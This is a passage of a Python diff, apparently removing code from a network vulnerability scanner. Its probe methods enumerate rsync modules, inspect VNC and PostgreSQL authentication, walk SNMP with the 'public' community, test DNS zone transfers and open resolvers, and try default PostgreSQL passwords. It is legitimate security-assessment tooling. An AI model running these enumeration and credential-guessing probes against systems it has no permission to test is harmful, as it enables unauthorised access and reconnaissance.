= line.split("\t", 1) - mod_name = parts[0].strip() - mod_desc = parts[1].strip() if len(parts) > 1 else "" - if mod_name: - modules.append({"name": mod_name, "description": mod_desc}) - - raw["modules"] = modules - - if modules: - mod_names = ", ".join(m["name"] for m in modules) - findings.append(Finding( - severity=Severity.HIGH, - title=f"Rsync module enumeration successful: {mod_names}", - description=f"Rsync on {target}:{port} exposes {len(modules)} module(s). " - "Exposed modules may allow file read/write.", - evidence=f"Modules: {mod_names}", - remediation="Restrict module listing and require authentication for all rsync modules.", - owasp_id="A01:2021", - cwe_id="CWE-200", - confidence="certain", - )) - except Exception as e: - self.P(f"Rsync module enumeration failed on {target}:{port}: {e}", color='y') - try: - sock.close() - except Exception: - pass - - # --- 3. Test unauthenticated access per module --- - for mod in raw["modules"]: - try: - sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock2.settimeout(3) - sock2.connect((target, port)) - sock2.recv(256) # banner - sock2.sendall(f"@RSYNCD: {proto_version}\n".encode()) - sock2.sendall(f"{mod['name']}\n".encode()) - resp = sock2.recv(4096).decode("utf-8", errors="ignore") - sock2.close() - - if "@RSYNCD: OK" in resp: - findings.append(Finding( - severity=Severity.CRITICAL, - title=f"Rsync module '{mod['name']}' accessible without authentication", - description=f"Module '{mod['name']}' on {target}:{port} allows unauthenticated access. " - "An attacker can read or write arbitrary files within this module.", - evidence=f"Connected to module '{mod['name']}', received @RSYNCD: OK", - remediation=f"Add 'auth users' and 'secrets file' to the [{mod['name']}] section in rsyncd.conf.", - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="certain", - )) - elif "@ERROR" in resp and "auth" in resp.lower(): - raw["modules"] = [ - {**m, "auth_required": True} if m["name"] == mod["name"] else m - for m in raw["modules"] - ] - except Exception: - pass - - return probe_result(raw_data=raw, findings=findings) - - - def _service_info_vnc(self, target, port): # default port: 5900 - """ - VNC handshake: read version banner, negotiate security types. - - Security types: - 1 (None) → CRITICAL: unauthenticated desktop access - 2 (VNC Auth) → MEDIUM: DES-based, max 8-char password - 19 (VeNCrypt) → INFO: TLS-secured - Other → LOW: unknown auth type - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"banner": None, "security_types": []} - - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - - # Read server banner (e.g. "RFB 003.008\n") - banner = sock.recv(12).decode('ascii', errors='ignore').strip() - raw["banner"] = banner - - if not banner.startswith("RFB"): - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"VNC service detected (non-standard banner: {banner[:30]})", - description="VNC port open but banner is non-standard.", - evidence=f"Banner: {banner}", - remediation="Restrict VNC access to trusted networks or use SSH tunneling.", - confidence="tentative", - )) - sock.close() - return probe_result(raw_data=raw, findings=findings) - - # Echo version back to negotiate - sock.sendall(banner.encode('ascii') + b"\n") - - # Read security type list - sec_data = sock.recv(64) - sec_types = [] - if len(sec_data) >= 1: - num_types = sec_data[0] - if num_types > 0 and len(sec_data) >= 1 + num_types: - sec_types = list(sec_data[1:1 + num_types]) - raw["security_types"] = sec_types - sock.close() - - _VNC_TYPE_NAMES = {1: "None", 2: "VNC Auth", 19: "VeNCrypt", 16: "Tight"} - type_labels = [f"{t}({_VNC_TYPE_NAMES.get(t, 'unknown')})" for t in sec_types] - raw["security_type_labels"] = type_labels - - if 1 in sec_types: - findings.append(Finding( - severity=Severity.CRITICAL, - title="VNC unauthenticated access (security type None)", - description=f"VNC on {target}:{port} allows connections without authentication.", - evidence=f"Banner: {banner}, security types: {type_labels}", - remediation="Disable security type None and require VNC Auth or VeNCrypt.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )) - if 2 in sec_types: - findings.append(Finding( - severity=Severity.MEDIUM, - title="VNC password auth (DES-based, max 8 chars)", - description=f"VNC Auth uses DES encryption with a maximum 8-character password.", - evidence=f"Banner: {banner}, security types: {type_labels}", - remediation="Use VeNCrypt (TLS) or SSH tunneling instead of plain VNC Auth.", - owasp_id="A02:2021", - cwe_id="CWE-326", - confidence="certain", - )) - if 19 in sec_types: - findings.append(Finding( - severity=Severity.INFO, - title="VNC VeNCrypt (TLS-secured)", - description="VeNCrypt provides TLS-secured VNC connections.", - evidence=f"Banner: {banner}, security types: {type_labels}", - confidence="certain", - )) - if not sec_types: - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"VNC service exposed: {banner}", - description="VNC protocol banner detected but security types could not be parsed.", - evidence=f"Banner: {banner}", - remediation="Restrict VNC access to trusted networks.", - confidence="firm", - )) - - except Exception as e: - return probe_error(target, port, "VNC", e) - - return probe_result(raw_data=raw, findings=findings) - - - def _service_info_snmp(self, target, port): # default port: 161 - """ - Attempt SNMP community string disclosure using 'public'. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"banner": None} - sock = None - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.settimeout(2) - packet = bytes.fromhex( - "302e020103300702010304067075626c6963a019020405f5e10002010002010030100406082b060102010101000500" - ) - sock.sendto(packet, (target, port)) - data, _ = sock.recvfrom(512) - readable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in data) - if 'public' in readable.lower(): - raw["banner"] = readable.strip()[:120] - findings.append(Finding( - severity=Severity.HIGH, - title="SNMP default community string 'public' accepted", - description="SNMP agent responds to the default 'public' community string, " - "allowing unauthenticated read access to device configuration and network data.", - evidence=f"Response: {readable.strip()[:80]}", - remediation="Change the community string from 'public' to a strong value; migrate to SNMPv3.", - owasp_id="A07:2021", - cwe_id="CWE-798", - confidence="certain", - )) - # Walk system MIB for additional intel - mib_result = self._snmp_walk_system_mib(target, port) - if mib_result: - sys_info = mib_result.get("system", {}) - raw.update(sys_info) - findings.extend(mib_result.get("findings", [])) - else: - raw["banner"] = readable.strip()[:120] - findings.append(Finding( - severity=Severity.INFO, - title="SNMP service responded", - description=f"SNMP agent on {target}:{port} responded but did not accept 'public' community.", - evidence=f"Response: {readable.strip()[:80]}", - confidence="firm", - )) - except socket.timeout: - return probe_error(target, port, "SNMP", Exception("timed out")) - except Exception as e: - return probe_error(target, port, "SNMP", e) - finally: - if sock is not None: - sock.close() - return probe_result(raw_data=raw, findings=findings) - - # -- SNMP MIB walk helpers ------------------------------------------------ - - _ICS_KEYWORDS = frozenset({ - "siemens", "simatic", "schneider", "allen-bradley", "honeywell", - "abb", "modicon", "rockwell", "yokogawa", "emerson", "ge fanuc", - }) - - def _is_ics_indicator(self, text): - lower = text.lower() - return any(kw in lower for kw in self._ICS_KEYWORDS) - - @staticmethod - def _snmp_encode_oid(oid_str): - parts = [int(p) for p in oid_str.split(".")] - body = bytes([40 * parts[0] + parts[1]]) - for v in parts[2:]: - if v < 128: - body += bytes([v]) - else: - chunks = [] - chunks.append(v & 0x7F) - v >>= 7 - while v: - chunks.append(0x80 | (v & 0x7F)) - v >>= 7 - body += bytes(reversed(chunks)) - return body - - def _snmp_build_getnext(self, community, oid_str, request_id=1): - oid_body = self._snmp_encode_oid(oid_str) - oid_tlv = bytes([0x06, len(oid_body)]) + oid_body - varbind = bytes([0x30, len(oid_tlv) + 2]) + oid_tlv + b"\x05\x00" - varbind_seq = bytes([0x30, len(varbind)]) + varbind - req_id = bytes([0x02, 0x01, request_id & 0xFF]) - err_status = b"\x02\x01\x00" - err_index = b"\x02\x01\x00" - pdu_body = req_id + err_status + err_index + varbind_seq - pdu = bytes([0xA1, len(pdu_body)]) + pdu_body - version = b"\x02\x01\x00" - comm = bytes([0x04, len(community)]) + community.encode() - inner = version + comm + pdu - return bytes([0x30, len(inner)]) + inner - - @staticmethod - def _snmp_parse_response(data): - try: - pos = 0 - if data[pos] != 0x30: - return None, None - pos += 2 # skip SEQUENCE tag + length - # skip version - if data[pos] != 0x02: - return None, None - pos += 2 + data[pos + 1] - # skip community - if data[pos] != 0x04: - return None, None - pos += 2 + data[pos + 1] - # response PDU (0xA2) - if data[pos] != 0xA2: - return None, None - pos += 2 - # skip request-id, error-status, error-index (3 integers) - for _ in range(3): - pos += 2 + data[pos + 1] - # varbind list SEQUENCE - pos += 2 # skip SEQUENCE tag + length - # first varbind SEQUENCE - pos += 2 # skip SEQUENCE tag + length - # OID - if data[pos] != 0x06: - return None, None - oid_len = data[pos + 1] - oid_bytes = data[pos + 2: pos + 2 + oid_len] - # decode OID - parts = [str(oid_bytes[0] // 40), str(oid_bytes[0] % 40)] - i = 1 - while i < len(oid_bytes): - if oid_bytes[i] < 128: - parts.append(str(oid_bytes[i])) - i += 1 - else: - val = 0 - while i < len(oid_bytes) and oid_bytes[i] & 0x80: - val = (val << 7) | (oid_bytes[i] & 0x7F) - i += 1 - if i < len(oid_bytes): - val = (val << 7) | oid_bytes[i] - i += 1 - parts.append(str(val)) - oid_str = ".".join(parts) - pos += 2 + oid_len - # value - val_tag = data[pos] - val_len = data[pos + 1] - val_raw = data[pos + 2: pos + 2 + val_len] - if val_tag == 0x04: # OCTET STRING - value = val_raw.decode("utf-8", errors="replace") - elif val_tag == 0x02: # INTEGER - value = str(int.from_bytes(val_raw, "big", signed=True)) - elif val_tag == 0x43: # TimeTicks - value = str(int.from_bytes(val_raw, "big")) - elif val_tag == 0x40: # IpAddress (APPLICATION 0) - if len(val_raw) == 4: - value = ".".join(str(b) for b in val_raw) - else: - value = val_raw.hex() - else: - value = val_raw.hex() - return oid_str, value - except Exception: - return None, None - - _SYSTEM_OID_NAMES = { - "1.3.6.1.2.1.1.1": "sysDescr", - "1.3.6.1.2.1.1.3": "sysUpTime", - "1.3.6.1.2.1.1.4": "sysContact", - "1.3.6.1.2.1.1.5": "sysName", - "1.3.6.1.2.1.1.6": "sysLocation", - } - - def _snmp_walk_system_mib(self, target, port): - import ipaddress as _ipaddress - system = {} - walk_findings = [] - sock = None - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.settimeout(2) - - def _walk(prefix): - oid = prefix - results = [] - for _ in range(20): - pkt = self._snmp_build_getnext("public", oid) - sock.sendto(pkt, (target, port)) - try: - resp, _ = sock.recvfrom(1024) - except socket.timeout: - break - resp_oid, resp_val = self._snmp_parse_response(resp) - if resp_oid is None or not resp_oid.startswith(prefix + "."): - break - results.append((resp_oid, resp_val)) - oid = resp_oid - return results - - # Walk system MIB subtree - for resp_oid, resp_val in _walk("1.3.6.1.2.1.1"): - base = ".".join(resp_oid.split(".")[:8]) - name = self._SYSTEM_OID_NAMES.get(base) - if name: - system[name] = resp_val - - sys_descr = system.get("sysDescr", "") - if sys_descr: - self._emit_metadata("os_claims", f"snmp:{port}", sys_descr) - if self._is_ics_indicator(sys_descr): - walk_findings.append(Finding( - severity=Severity.HIGH, - title="SNMP exposes ICS/SCADA device identity", - description=f"sysDescr contains ICS keywords: {sys_descr[:120]}", - evidence=f"sysDescr={sys_descr[:120]}", - remediation="Isolate ICS devices from general network; restrict SNMP access.", - confidence="firm", - )) - - # Walk ipAddrTable for interface IPs - for resp_oid, resp_val in _walk("1.3.6.1.2.1.4.20.1.1"): - try: - addr = _ipaddress.ip_address(resp_val) - except (ValueError, TypeError): - continue - if addr.is_private: - self._emit_metadata("internal_ips", {"ip": str(addr), "source": f"snmp_interface:{port}"}) - walk_findings.append(Finding( - severity=Severity.MEDIUM, - title=f"SNMP leaks internal IP address {addr}", - description="Interface IP from ipAddrTable is RFC1918, revealing internal topology.", - evidence=f"ipAddrEntry={resp_val}", - remediation="Restrict SNMP read access; filter sensitive MIBs.", - confidence="certain", - )) - except Exception: - pass - finally: - if sock is not None: - sock.close() - if not system and not walk_findings: - return None - return {"system": system, "findings": walk_findings} - - def _service_info_dns(self, target, port): # default port: 53 - """ - Query CHAOS TXT version.bind to detect DNS version disclosure. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"banner": None, "dns_version": None} - sock = None - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.settimeout(2) - tid = random.randint(0, 0xffff) - header = struct.pack('>HHHHHH', tid, 0x0100, 1, 0, 0, 0) - qname = b'\x07version\x04bind\x00' - question = struct.pack('>HH', 16, 3) - packet = header + qname + question - sock.sendto(packet, (target, port)) - data, _ = sock.recvfrom(512) - - # Parse CHAOS TXT response - parsed = False - if len(data) >= 12 and struct.unpack('>H', data[:2])[0] == tid: - ancount = struct.unpack('>H', data[6:8])[0] - if ancount: - idx = 12 + len(qname) + 4 - if idx < len(data): - if data[idx] & 0xc0 == 0xc0: - idx += 2 - else: - while idx < len(data) and data[idx] != 0: - idx += data[idx] + 1 - idx += 1 - idx += 8 - if idx + 2 <= len(data): - rdlength = struct.unpack('>H', data[idx:idx+2])[0] - idx += 2 - if idx < len(data): - txt_length = data[idx] - txt = data[idx+1:idx+1+txt_length].decode('utf-8', errors='ignore') - if txt: - raw["dns_version"] = txt - raw["banner"] = f"DNS version: {txt}" - findings.append(Finding( - severity=Severity.LOW, - title=f"DNS version disclosure: {txt}", - description=f"CHAOS TXT version.bind query reveals DNS software version.", - evidence=f"version.bind TXT: {txt}", - remediation="Disable version.bind responses in the DNS server configuration.", - owasp_id="A05:2021", - cwe_id="CWE-200", - confidence="certain", - )) - parsed = True - # CVE check — version.bind is BIND-specific - _bind_m = _re.search(r'(\d+\.\d+(?:\.\d+)*)', txt) - if _bind_m: - findings += check_cves("bind", _bind_m.group(1)) - - # Fallback: check raw data for version keywords - if not parsed: - readable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in data) - if 'bind' in readable.lower() or 'version' in readable.lower(): - raw["banner"] = readable.strip()[:80] - findings.append(Finding( - severity=Severity.LOW, - title="DNS version disclosure via CHAOS TXT", - description=f"CHAOS TXT response on {target}:{port} contains version keywords.", - evidence=f"Response contains: {readable.strip()[:80]}", - remediation="Disable version.bind responses in the DNS server configuration.", - owasp_id="A05:2021", - cwe_id="CWE-200", - confidence="firm", - )) - else: - raw["banner"] = "DNS service responding" - findings.append(Finding( - severity=Severity.INFO, - title="DNS CHAOS TXT query did not disclose version", - description=f"DNS on {target}:{port} responded but did not reveal version.", - confidence="firm", - )) - except socket.timeout: - return probe_error(target, port, "DNS", Exception("CHAOS query timed out")) - except Exception as e: - return probe_error(target, port, "DNS", e) - finally: - if sock is not None: - sock.close() - - # --- DNS zone transfer (AXFR) test --- - axfr_findings = self._dns_test_axfr(target, port) - findings += axfr_findings - - # --- Open recursive resolver test --- - resolver_finding = self._dns_test_open_resolver(target, port) - if resolver_finding: - findings.append(resolver_finding) - - return probe_result(raw_data=raw, findings=findings) - - def _dns_discover_zones(self, target, port): - """Discover zone names the DNS server is authoritative for. - - Strategy: send SOA queries for a set of candidate domains and check - for authoritative (AA-flag) responses. This is far more reliable than - reverse-DNS guessing when the target serves non-obvious zones. - - Returns list of domain strings (may be empty). - """ - candidates = set() - - # 1. Reverse DNS of target → extract domain - try: - import socket as _socket - hostname, _, _ = _socket.gethostbyaddr(target) - parts = hostname.split(".") - if len(parts) >= 2: - candidates.add(".".join(parts[-2:])) - if len(parts) >= 3: - candidates.add(".".join(parts[-3:])) - except Exception: - pass - - # 2. Common pentest / CTF domains - candidates.update(["vulhub.org", "example.com", "test.local"]) - - # 3. Probe each candidate with a SOA query — keep only authoritative hits - authoritative = [] - for domain in list(candidates): - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.settimeout(2) - tid = random.randint(0, 0xffff) - header = struct.pack('>HHHHHH', tid, 0x0100, 1, 0, 0, 0) - qname = b"" - for label in domain.split("."): - qname += bytes([len(label)]) + label.encode() - qname += b"\x00" - question = struct.pack('>HH', 6, 1) # QTYPE=SOA, QCLASS=IN - sock.sendto(header + qname + question, (target, port)) - data, _ = sock.recvfrom(512) - sock.close() - if len(data) >= 12 and struct.unpack('>H', data[:2])[0] == tid: - flags = struct.unpack('>H', data[2:4])[0] - aa = (flags >> 10) & 1 # Authoritative Answer - rcode = flags & 0x0F - ancount = struct.unpack('>H', data[6:8])[0] - if aa and rcode == 0 and ancount > 0: - authoritative.append(domain) - except Exception: - pass - - # Return authoritative zones first, then remaining candidates as fallback - seen = set(authoritative) - result = list(authoritative) - for d in candidates: - if d not in seen: - result.append(d) - return result - - def _dns_test_axfr(self, target, port): - """Attempt DNS zone transfer (AXFR) via TCP. - - Uses SOA-based zone discovery to find authoritative zones before - attempting AXFR, falling back to reverse DNS and common domains. - - Returns list of findings. - """ - findings = [] - - test_domains = self._dns_discover_zones(target, port) - - for domain in test_domains[:4]: # Test at most 4 domains - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - - # Build AXFR query - tid = random.randint(0, 0xffff) - header = struct.pack('>HHHHHH', tid, 0x0100, 1, 0, 0, 0) - # Encode domain name - qname = b"" - for label in domain.split("."): - qname += bytes([len(label)]) + label.encode() - qname += b"\x00" - # QTYPE=252 (AXFR), QCLASS=1 (IN) - question = struct.pack('>HH', 252, 1) - dns_query = header + qname + question - # TCP DNS: 2-byte length prefix - sock.sendall(struct.pack(">H", len(dns_query)) + dns_query) - - # Read response - resp_len_bytes = sock.recv(2) - if len(resp_len_bytes) < 2: - sock.close() - continue - resp_len = struct.unpack(">H", resp_len_bytes)[0] - resp_data = b"" - while len(resp_data) < resp_len: - chunk = sock.recv(resp_len - len(resp_data)) - if not chunk: - break - resp_data += chunk - sock.close() - - # Parse: check if we got answers (ancount > 0) and no error (rcode = 0) - if len(resp_data) >= 12: - resp_tid = struct.unpack(">H", resp_data[0:2])[0] - flags = struct.unpack(">H", resp_data[2:4])[0] - rcode = flags & 0x0F - ancount = struct.unpack(">H", resp_data[6:8])[0] - - if resp_tid == tid and rcode == 0 and ancount > 0: - findings.append(Finding( - severity=Severity.HIGH, - title=f"DNS zone transfer (AXFR) allowed for {domain}", - description=f"DNS on {target}:{port} permits zone transfers for '{domain}'. " - "This leaks all DNS records — hostnames, IPs, mail servers, internal infrastructure.", - evidence=f"AXFR query returned {ancount} answer records for {domain}.", - remediation="Restrict zone transfers to authorized secondary nameservers only (allow-transfer).", - owasp_id="A01:2021", - cwe_id="CWE-200", - confidence="certain", - )) - break # One confirmed AXFR is enough - except Exception: - continue - - return findings - - def _dns_test_open_resolver(self, target, port): - """Test if DNS server acts as an open recursive resolver. - - Returns Finding or None. - """ - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.settimeout(2) - tid = random.randint(0, 0xffff) - # Standard recursive query for example.com A record - header = struct.pack('>HHHHHH', tid, 0x0100, 1, 0, 0, 0) # RD=1 - qname = b'\x07example\x03com\x00' - question = struct.pack('>HH', 1, 1) # QTYPE=A, QCLASS=IN - packet = header + qname + question - sock.sendto(packet, (target, port)) - data, _ = sock.recvfrom(512) - sock.close() - - if len(data) >= 12 and struct.unpack('>H', data[:2])[0] == tid: - flags = struct.unpack('>H', data[2:4])[0] - qr = (flags >> 15) & 1 - rcode = flags & 0x0F - ancount = struct.unpack('>H', data[6:8])[0] - ra = (flags >> 7) & 1 # Recursion Available - - if qr == 1 and rcode == 0 and ancount > 0 and ra == 1: - return Finding( - severity=Severity.MEDIUM, - title="DNS open recursive resolver detected", - description=f"DNS on {target}:{port} recursively resolves queries for external domains. " - "Open resolvers can be abused for DNS amplification DDoS attacks.", - evidence=f"Recursive query for example.com returned {ancount} answers with RA flag set.", - remediation="Restrict recursive queries to authorized clients only (allow-recursion).", - owasp_id="A05:2021", - cwe_id="CWE-406", - confidence="certain", - ) - except Exception: - pass - return None - - def _service_info_mssql(self, target, port): # default port: 1433 - """ - Send a TDS prelogin probe to expose SQL Server version data. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"banner": None} - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - prelogin = bytes.fromhex( - "1201001600000000000000000000000000000000000000000000000000000000" - ) - sock.sendall(prelogin) - data = sock.recv(256) - if data: - readable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in data) - raw["banner"] = f"MSSQL prelogin response: {readable.strip()[:80]}" - findings.append(Finding( - severity=Severity.MEDIUM, - title="MSSQL prelogin handshake succeeded", - description=f"SQL Server on {target}:{port} responds to TDS prelogin, " - "exposing version metadata and confirming the service is reachable.", - evidence=f"Prelogin response: {readable.strip()[:80]}", - remediation="Restrict SQL Server access to trusted networks; use firewall rules.", - owasp_id="A05:2021", - cwe_id="CWE-200", - confidence="certain", - )) - sock.close() - except Exception as e: - return probe_error(target, port, "MSSQL", e) - return probe_result(raw_data=raw, findings=findings) - - - def _service_info_postgresql(self, target, port): # default port: 5432 - """ - Probe PostgreSQL authentication method and extract server version. - - Sends a v3 StartupMessage for user 'postgres'. The server replies with - an authentication request (type 'R') optionally followed by ParameterStatus - messages (type 'S') that include ``server_version``. - - Auth codes: - 0 = AuthenticationOk (trust auth) → CRITICAL - 3 = CleartextPassword → MEDIUM - 5 = MD5Password → INFO (adequate, prefer SCRAM) - 10 = SASL (SCRAM-SHA-256) → INFO (strong) - """ - findings = [] - raw = {"auth_type": None, "version": None} - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - payload = b'user\x00postgres\x00database\x00postgres\x00\x00' - startup = struct.pack('!I', len(payload) + 8) + struct.pack('!I', 196608) + payload - sock.sendall(startup) - # Read enough to get auth response + parameter status messages - data = b"" - try: - while len(data) < 4096: - chunk = sock.recv(4096) - if not chunk: - break - data += chunk - # Stop after we see auth request — parameters come after for trust auth - # but for password auth the server sends R then waits. - if len(data) >= 9 and data[0:1] == b'R': - auth_code = struct.unpack('!I', data[5:9])[0] - if auth_code != 0: - break # Server wants a password — no more data coming - except (socket.timeout, OSError): - pass - sock.close() - - # --- Extract version from ParameterStatus ('S') messages --- - # Format: 'S' + int32 length + key\0 + value\0 - pg_version = None - pos = 0 - while pos < len(data) - 5: - msg_type = data[pos:pos+1] - if msg_type not in (b'R', b'S', b'K', b'Z', b'E', b'N'): - break - msg_len = struct.unpack('!I', data[pos+1:pos+5])[0] - msg_end = pos + 1 + msg_len - if msg_type == b'S' and msg_end <= len(data): - kv = data[pos+5:msg_end] - parts = kv.split(b'\x00') - if len(parts) >= 2: - key = parts[0].decode('utf-8', errors='ignore') - val = parts[1].decode('utf-8', errors='ignore') - if key == 'server_version': - pg_version = val - raw["version"] = pg_version - pos = msg_end - if pos >= len(data): - break - - # --- Parse auth response --- - if len(data) >= 9 and data[0:1] == b'R': - auth_code = struct.unpack('!I', data[5:9])[0] - raw["auth_type"] = auth_code - if auth_code == 0: - findings.append(Finding( - severity=Severity.CRITICAL, - title="PostgreSQL trust authentication (no password)", - description=f"PostgreSQL on {target}:{port} accepts connections without any password (auth code 0).", - evidence=f"Auth response code: {auth_code}", - remediation="Configure pg_hba.conf to require password or SCRAM authentication.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )) - elif auth_code == 3: - findings.append(Finding( - severity=Severity.MEDIUM, - title="PostgreSQL cleartext password authentication", - description=f"PostgreSQL on {target}:{port} requests cleartext passwords.", - evidence=f"Auth response code: {auth_code}", - remediation="Switch to SCRAM-SHA-256 authentication in pg_hba.conf.", - owasp_id="A02:2021", - cwe_id="CWE-319", - confidence="certain", - )) - elif auth_code == 5: - findings.append(Finding( - severity=Severity.INFO, - title="PostgreSQL MD5 authentication", - description="MD5 password auth is adequate but SCRAM-SHA-256 is preferred.", - evidence=f"Auth response code: {auth_code}", - remediation="Consider upgrading to SCRAM-SHA-256.", - confidence="certain", - )) - elif auth_code == 10: - findings.append(Finding( - severity=Severity.INFO, - title="PostgreSQL SASL/SCRAM authentication", - description="Strong authentication (SCRAM-SHA-256) is in use.", - evidence=f"Auth response code: {auth_code}", - confidence="certain", - )) - elif b'AuthenticationCleartextPassword' in data: - raw["auth_type"] = "cleartext_text" - findings.append(Finding( - severity=Severity.MEDIUM, - title="PostgreSQL cleartext password authentication", - description=f"PostgreSQL on {target}:{port} requests cleartext passwords.", - evidence="Text response contained AuthenticationCleartextPassword", - remediation="Switch to SCRAM-SHA-256 authentication.", - owasp_id="A02:2021", - cwe_id="CWE-319", - confidence="firm", - )) - elif b'AuthenticationOk' in data: - raw["auth_type"] = "ok_text" - findings.append(Finding( - severity=Severity.CRITICAL, - title="PostgreSQL trust authentication (no password)", - description=f"PostgreSQL on {target}:{port} accepted connection without authentication.", - evidence="Text response contained AuthenticationOk", - remediation="Configure pg_hba.conf to require password authentication.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="firm", - )) - - # --- Version disclosure --- - if pg_version: - findings.append(Finding( - severity=Severity.LOW, - title=f"PostgreSQL version disclosed: {pg_version}", - description=f"PostgreSQL on {target}:{port} reports version {pg_version}.", - evidence=f"server_version parameter: {pg_version}", - remediation="Restrict network access to the PostgreSQL port.", - cwe_id="CWE-200", - confidence="certain", - )) - # Extract numeric version for CVE matching - ver_match = _re.match(r'(\d+\.\d+(?:\.\d+)?)', pg_version) - if ver_match: - for f in check_cves("postgresql", ver_match.group(1)): - findings.append(f) - - if not findings: - findings.append(Finding(Severity.INFO, "PostgreSQL probe completed", "No auth weakness detected.")) - except Exception as e: - return probe_error(target, port, "PostgreSQL", e) - - return probe_result(raw_data=raw, findings=findings) - - def _service_info_postgresql_creds(self, target, port): # default port: 5432 - """ - PostgreSQL default credential testing (opt-in via active_auth feature group). - - Attempts cleartext password auth with common defaults. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"tested_credentials": 0, "accepted_credentials": []} - creds = [("postgres", ""), ("postgres", "postgres"), ("postgres", "password")] - - for username, password in creds: - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - payload = f'user\x00{username}\x00database\x00postgres\x00\x00'.encode() - startup = struct.pack('!I', len(payload) + 8) + struct.pack('!I', 196608) + payload - sock.sendall(startup) - data = sock.recv(128) - - if len(data) >= 9 and data[0:1] == b'R': - auth_code = struct.unpack('!I', data[5:9])[0] - if auth_code == 0: - cred_str = f"{username}:(empty)" if not password else f"{username}:{password}" - raw["accepted_credentials"].append(cred_str) - findings.append(Finding( - severity=Severity.CRITICAL, - title=f"PostgreSQL trust auth for {username}", - description=f"No password required for user {username}.", - evidence=f"Auth code 0 for {cred_str}", - remediation="Configure pg_hba.conf to require authentication.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )) - elif auth_code == 3: - # Send cleartext password - pwd_bytes = password.encode() + b'\x00' - pwd_msg = b'p' + struct.pack('!I', len(pwd_bytes) + 4) + pwd_bytes - sock.sendall(pwd_msg) - resp = sock.recv(4096) - if resp and resp[0:1] == b'R' and len(resp) >= 9: - result_code = struct.unpack('!I', resp[5:9])[0] - if result_code == 0: - cred_str = f"{username}:{password}" if password else f"{username}:(empty)" - raw["accepted_credentials"].append(cred_str) - findings.append(Finding( - severity=Severity.CRITICAL, - title=f"PostgreSQL default credential accepted: {cred_str}", - description=f"Cleartext password auth accepted for {cred_str}.", - evidence=f"Auth OK for {cred_str}", - remediation="Change default passwords.", - owasp_id="A07:2021", - cwe_id="CWE-798", - confidence="certain", - )) - findings += self._pg_extract_version_findings(resp) - elif auth_code == 5 and len(data) >= 13: - # MD5 auth: server sends 4-byte salt at bytes 9:13 - import hashlib - salt = data[9:13] - inner = hashlib.md5(password.encode() + username.encode()).hexdigest() - outer = 'md5' + hashlib.md5(inner.encode() + salt).hexdigest() - pwd_bytes = outer.encode() + b'\x00' - pwd_msg = b'p' + struct.pack('!I', len(pwd_bytes) + 4) + pwd_bytes - sock.sendall(pwd_msg) - resp = sock.recv(4096) - if resp and resp[0:1] == b'R' and len(resp) >= 9: - result_code = struct.unpack('!I', resp[5:9])[0] - if result_code == 0: - cred_str = f"{username}:{password}" if password else f"{username}:(empty)" - raw["accepted_credentials"].append(cred_str) - findings.append(Finding( - severity=Severity.CRITICAL, - title=f"PostgreSQL default credential accepted: {cred_str}", - description=f"MD5 password auth accepted for {cred_str}.", - evidence=f"Auth OK for {cred_str}", - remediation="Change default passwords.", - owasp_id="A07:2021", - cwe_id="CWE-798", - confidence="certain", - )) - findings += self._pg_extract_version_findings(resp) - raw["tested_credentials"] += 1 - sock.close() - except Exception: - continue - - if not findings: - findings.append(Finding( - severity=Severity.INFO, - title="PostgreSQL default credentials rejected", - description=f"Tested {raw['tested_credentials']} credential pairs.", - confidence="certain", - )) - - return probe_result(raw_data=raw, findings=findings) - - def _pg_extract_version_findings(self, data): - """Parse ParameterStatus messages after PG auth success for version + CVEs.""" - findings = [] - pos = 0 - while pos < len(data) - 5: - msg_type = data[pos:pos+1] - if msg_type not in (b'R', b'S', b'K', b'Z', b'E', b'N'): - break - msg_len = struct.unpack('!I', data[pos+1:pos+5])[0] - msg_end = pos + 1 + msg_len - if msg_type == b'S' and msg_end <= len(data): - kv = data[pos+5:msg_end] - parts = kv.split(b'\x00') - if len(parts) >= 2: - key = parts[0].decode('utf-8', errors='ignore') - val = parts[1].decode('utf-8', errors='ignore') - if key == 'server_version': - findings.append(Finding( - severity=Severity.LOW, - title=f"PostgreSQL version disclosed: {val}", - description=f"PostgreSQL reports version {val} (via authenticated session).", - evidence=f"server_version parameter: {val}", - remediation="Restrict network access to the PostgreSQL port.", - cwe_id="CWE-200", - confidence="certain", - )) - ver_match = _re.match(r'(\d+\.\d+(?:\.\d+)?)', val) - if ver_match: - findings += 